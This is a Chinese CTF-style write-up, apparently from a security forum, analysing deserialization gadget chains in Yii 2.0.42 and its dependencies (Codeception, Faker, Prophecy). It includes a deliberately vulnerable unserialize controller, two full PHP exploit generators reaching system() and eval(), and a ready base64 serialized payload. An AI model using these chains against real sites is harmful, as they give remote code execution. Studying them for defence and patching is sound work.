前不久刚结束的祥云杯考到了当时最新的YII2.0.42反序列化的考点,当时有师傅已经分析构造出了exp,恰巧那篇文章在比赛期间没删,导致那题成了签到题,赛时ctrl c,v,赛后当然还是要自己来分析一波原理。
环境搭建
https://github.com/yiisoft/yii2-app-basic/releases 官方最新版本已经更新到2.0.43,直接github拉取的项目会缺少一部分文件,所以还是用composer进行下载
composer create-project --prefer-dist yiisoft/yii2-app-basic yii2
<?php
/***
* Created by joker
* Date 2021/9/5 23:47
***/
namespace app\controllers;
use Yii;
use yii\web\Controller;
class AxinController extends \yii\web\Controller
{
public function actionDeser($data)
{
return unserialize(base64_decode($data));
}
}
漏洞分析
全局搜索__destruct
魔术方法,2.0.38版本之前的几条链子的入口都还在,但是每一个对应的文件都添加了一个__wakeup
魔术方法来修补了反序列化的漏洞
手上的版本是2.0.43的,而漏洞在2.0.42版本,确定了漏洞起点,临时注释掉2.0.43修补2.0.42版本反序列化增加的__wakeup
魔术方法即可
POP1
vendor\codeception\codeception\ext\RunProcess.php
,在2.0.42版本中只有这个类是没有加上上面的修补反序列化的代码的
思路还是差不多,反序列化时触发stopProcess()
方法,方法中array_reverse
会对$this->processes
数组变量进行翻转,这里只需传递单个数组值就可以,下面就是找跳板,全局搜索定位__call()
魔术方法
vendor\fakerphp\faker\src\Faker\ValidGenerator.php
do,while循环语句,不管判断条件是否成立,do中的语句都会执行一次,$this->generator
可控,$this->validato
r也可控,只需要$res
可控,那么就可以达到RCE的效果,call_user_func_array
在这里只能当作跳板,调用任意类的任意方法,需要再找一个__call()
魔术方法,并且返回结果可控的;继续全局搜索__call()
vendor\fakerphp\faker\src\Faker\DefaultGenerator.php
$this->default
变量完全可控,那也就意味着$res
可控,也就可以RCE了,链子串一串exp也就出来了,因为exp中弹的计算器,所以$this->maxRetries在赋值的时候要写小一点
<?php
/***
* Created by joker
* Date 2021/9/7 16:35
***/
namespace Faker;
class DefaultGenerator{
protected $default;
function __construct()
{
$this->default = 'calc.exe';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = '10';
$this->validator = 'system';
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes;
function __construct()
{
$this->processes = [new ValidGenerator()];
}
}
echo base64_encode(serialize(new RunProcess()));
POP2
pop2这条链就是当时比赛那道题的考察点,应该是YII所有反序列化中最为复杂的一条利用链了,分析一波,分析完会发现这条链真的是运气所致,一切都是那么正正好
起手点还是pop1中提到的那里,就不看了,直接来看定位到的另一处__call
魔术方法
这里的跳板选择了vendor\phpspec\prophecy\src\Prophecy\Prophecy\ObjectProphecy.php
中的__call()魔术方法
,看断点处
在本类中存在一个reveal
方法,如果不使用本类的该方法会自动调用其他类中的该方法,仔细跟进完会发现那样子走pop链是利用不起来的,所以只能让$this->revealer
为该类的一个实例来调用类中的该方法
$this->lazyDouble
可控,赋值为存在getInstance()
的类对象,跟进getInstance()
方法
$this->double
和$this->arguments
都可控,此处进步进入if判断的语句都没有区别,最后调用的方法都是一样的,$this->doubler
可控,跟进double
方法,确认存在该方法的类,再对$this->doubler
进行实例化类赋值即可,$this->class
和$this->interfaces
的赋值需要根据double
方法的参数类型来确定
这里需要提一下ReflectionClass
类,该类是PHP中的反射类,通过new ReflectionClass($classname)
可以构建一个类的反射类,这里的if判断中会判断$interface
是否是该反射类的实例化对象或者是否实现了该类中的某个接口。都知道的php有一个异常处理类Exception
,用ReflectionClass
类构建异常处理类的反射类,就能够避免上面代码中异常抛出,程序也就能够走到断点处了。验证这一想法,本地写一个小例子
所以到这里,前面留下的几个参数赋值到这里就能够解决了
$this->class = new \ReflectionClass('Exception');
$this->argument = array('joker'=>'joker');//数组内容随意填写,无影响
$this->interfaces[] = new \ReflectionClass('Exception');
接着跟进createDoubleClass
方法
vendor\phpspec\prophecy\src\Prophecy\Doubler\Doubler.php
主要的利用部分在断点处,$name
和$node
,根据代码逻辑来看是不可控的参数,这里就要用到POP1中后面的跳板方法,只需要让$this->namer
和$this->mirror
实例化为DefaultGenerator
类对象就可以了,这里的$this->patch
参数不需要管,并不影响代码执行到断点处。
跟create
方法,确认$name
和$node
参数类型
vendor\phpspec\prophecy\src\Prophecy\Doubler\Generator\ClassCreator.php
根据方法中的参数来看,$node需要为Node\ClassNode
类对象
这里最后利用的点为断点处,可以插入代码执行,还是用同样的方法来使得$code
可控,实例化为DefaultGenerator
类对象
这个链到这里就完整了,把链捋一捋串一串,exp也就出来了,不是特别好写,多点耐心
<?php
/***
* Created by joker
* Date 2021/9/7 20:02
***/
namespace Codeception\Extension;
use Prophecy\Prophecy\ObjectProphecy;
class RunProcess{
private $processes;
function __construct()
{
$a = new ObjectProphecy('1');
$this->processes[] = new ObjectProphecy($a);
}
}
echo base64_encode(serialize(new RunProcess()));
namespace Prophecy\Prophecy;
use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{
private $lazyDouble;
private $revealer;
function __construct($a)
{
$this->revealer = $a;
$this->lazyDouble = new LazyDouble();
}
}
namespace Prophecy\Doubler;
class LazyDouble{
private $doubler;
private $argument;
private $class;
private $interfaces;
function __construct()
{
$this->doubler =new Doubler();
$this->class = new \ReflectionClass('Exception');
$this->argument = array('joker'=>'joker');
$this->interfaces[] = new \ReflectionClass('Exception');
}
}
namespace Prophecy\Doubler\Generator\Node;
class ClassNode{
}
namespace Prophecy\Doubler;
use Prophecy\Doubler\Generator\Node\ClassNode;
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
class Doubler{
private $mirror;
private $creator;
private $namer;
function __construct()
{
$this->namer = new DefaultGenerator('joker');
$this->mirror = new DefaultGenerator(new ClassNode());
$this->creator = new ClassCreator();
}
}
namespace Faker;
class DefaultGenerator{
protected $default;
function __construct($default)
{
$this->default = $default;
}
}
namespace Prophecy\Doubler\Generator;
use Faker\DefaultGenerator;
class ClassCreator{
private $generator;
function __construct()
{
$this->generator = new DefaultGenerator('eval(phpinfo());');
}
}
生成payload
TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MzI6IlByb3BoZWN5XFByb3BoZWN5XE9iamVjdFByb3BoZWN5IjoyOntzOjQ0OiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAbGF6eURvdWJsZSI7TzoyNzoiUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlIjo0OntzOjM2OiIAUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlAGRvdWJsZXIiO086MjQ6IlByb3BoZWN5XERvdWJsZXJcRG91YmxlciI6Mzp7czozMjoiAFByb3BoZWN5XERvdWJsZXJcRG91YmxlcgBtaXJyb3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO086NDE6IlByb3BoZWN5XERvdWJsZXJcR2VuZXJhdG9yXE5vZGVcQ2xhc3NOb2RlIjowOnt9fXM6MzM6IgBQcm9waGVjeVxEb3VibGVyXERvdWJsZXIAY3JlYXRvciI7TzozOToiUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yIjoxOntzOjUwOiIAUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czoxNjoiZXZhbChwaHBpbmZvKCkpOyI7fX1zOjMxOiIAUHJvcGhlY3lcRG91YmxlclxEb3VibGVyAG5hbWVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6Impva2VyIjt9fXM6Mzc6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAYXJndW1lbnQiO2E6MTp7czo1OiJqb2tlciI7czo1OiJqb2tlciI7fXM6MzQ6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAY2xhc3MiO086MTU6IlJlZmxlY3Rpb25DbGFzcyI6MTp7czo0OiJuYW1lIjtzOjk6IkV4Y2VwdGlvbiI7fXM6Mzk6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAaW50ZXJmYWNlcyI7YToxOntpOjA7TzoxNToiUmVmbGVjdGlvbkNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6OToiRXhjZXB0aW9uIjt9fX1zOjQyOiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAcmV2ZWFsZXIiO086MzI6IlByb3BoZWN5XFByb3BoZWN5XE9iamVjdFByb3BoZWN5IjoyOntzOjQ0OiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAbGF6eURvdWJsZSI7TzoyNzoiUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlIjo0OntzOjM2OiIAUHJvcGhlY3lcRG91YmxlclxMYXp5RG91YmxlAGRvdWJsZXIiO086MjQ6IlByb3BoZWN5XERvdWJsZXJcRG91YmxlciI6Mzp7czozMjoiAFByb3BoZWN5XERvdWJsZXJcRG91YmxlcgBtaXJyb3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO086NDE6IlByb3BoZWN5XERvdWJsZXJcR2VuZXJhdG9yXE5vZGVcQ2xhc3NOb2RlIjowOnt9fXM6MzM6IgBQcm9waGVjeVxEb3VibGVyXERvdWJsZXIAY3JlYXRvciI7TzozOToiUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yIjoxOntzOjUwOiIAUHJvcGhlY3lcRG91YmxlclxHZW5lcmF0b3JcQ2xhc3NDcmVhdG9yAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czoxNjoiZXZhbChwaHBpbmZvKCkpOyI7fX1zOjMxOiIAUHJvcGhlY3lcRG91YmxlclxEb3VibGVyAG5hbWVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6Impva2VyIjt9fXM6Mzc6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAYXJndW1lbnQiO2E6MTp7czo1OiJqb2tlciI7czo1OiJqb2tlciI7fXM6MzQ6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAY2xhc3MiO086MTU6IlJlZmxlY3Rpb25DbGFzcyI6MTp7czo0OiJuYW1lIjtzOjk6IkV4Y2VwdGlvbiI7fXM6Mzk6IgBQcm9waGVjeVxEb3VibGVyXExhenlEb3VibGUAaW50ZXJmYWNlcyI7YToxOntpOjA7TzoxNToiUmVmbGVjdGlvbkNsYXNzIjoxOntzOjQ6Im5hbWUiO3M6OToiRXhjZXB0aW9uIjt9fX1zOjQyOiIAUHJvcGhlY3lcUHJvcGhlY3lcT2JqZWN0UHJvcGhlY3kAcmV2ZWFsZXIiO3M6MToiMSI7fX19fQ==
后记
归根到底其实也不全是yii框架的原因,跟用的依赖也有关系。
关于__wakeup()
魔术方法,在比赛的时候经常遇到,是能够绕过的,但是尝试的时候没有成功,可能跟PHP的版本也有一定的关系,后面有时间再去细究一下。还有两条链,留待下回分析吧。
- 本文作者: joker
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/666
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!